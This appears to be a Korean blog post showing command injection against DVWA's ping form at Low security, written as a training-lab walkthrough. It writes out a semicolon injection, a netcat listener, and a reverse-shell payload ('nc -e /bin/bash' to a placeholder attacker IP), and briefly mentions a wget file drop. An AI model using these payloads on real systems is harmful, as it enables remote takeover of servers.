이번에는 DVWA (Damn Vulnerable Web Application)에서 Command Execution 취약점을 이용해보겠습니다. Low 보안 설정 상태에서 두 가지 방법으로 이 취약점을 공략할 것입니다.
기본 명령어 주입
DVWA의 Command Execution 페이지에 접근하면 IP 주소를 입력하라는 폼이 나타납니다. 이 폼은 입력된 IP 주소에 대해 ping 명령어를 실행하고 그 결과를 반환하도록 설계되었습니다.
- 기본 명령어 주입:
- 임의의 IP 주소를 입력합니다. 예를 들어 192.168.200.1을 입력하고 "Submit" 버튼을 클릭합니다.
- 결과 창에 ping 명령어의 출력이 표시됩니다.
이제 이 취약점을 악용해 다른 명령어를 실행해 보겠습니다.
리눅스 명령어 주입:
- IP 주소 입력란에 127.0.0.1; ls를 입력하고 "Submit" 버튼을 클릭합니다.
- 세미콜론(;)을 사용하여 ping 명령어 뒤에 ls 명령어를 추가로 실행할 수 있습니다.
- 결과 창에는 ping 결과와 함께 ls 명령어의 출력, 즉 서버의 현재 디렉토리 목록이 표시됩니다.
원격 코드 실행
다음으로, 이 취약점을 이용해 원격으로 서버에 접속하는 방법을 살펴보겠습니다.
- 포트 열기:
- 먼저, 공격자 머신에서 리스닝 포트를 엽니다. 터미널에서 다음 명령어를 실행합니다:
bashCopy codenc -lvp 12345
- 12345 포트에서 대기 상태가 됩니다.
- 먼저, 공격자 머신에서 리스닝 포트를 엽니다. 터미널에서 다음 명령어를 실행합니다:
- 리버스 셸 연결:
- DVWA의 IP 주소 입력란에 다음과 같은 명령어를 입력합니다:
bashCopy code127.0.0.1; nc -e /bin/bash 공격자_IP 12345
- 여기서 공격자_IP는 공격자 머신의 IP 주소입니다.
- 이 명령어는 대상 서버에서 공격자 머신으로 리버스 셸을 생성하여 연결을 시도합니다.
- DVWA의 IP 주소 입력란에 다음과 같은 명령어를 입력합니다:
- 원격 제어:
- 공격자 머신의 터미널에서 연결이 성공하면, 대상 서버의 셸을 원격으로 제어할 수 있게 됩니다.
그 다음은 위 처럼 비슷하지만 wget을 이용해서 한다.
이렇게 해주고 만든 파일은 /var/www/html 으로 보내주고 그 다음 명령을 넣어서 실행하면
이런식 으로 주입하여 실행하면 위처럼 이루어진다.
//언제나 꾸준하게 열심히//
'DVWA' 카테고리의 다른 글
XSS stored --LOW (0) | 2024.07.06 |
---|---|
DVWA의 XSS Reflected -- MEDIUM (0) | 2024.06.29 |
DVWA XSS reflected --LOW (0) | 2024.06.24 |
Command Execution -Medium (0) | 2024.06.15 |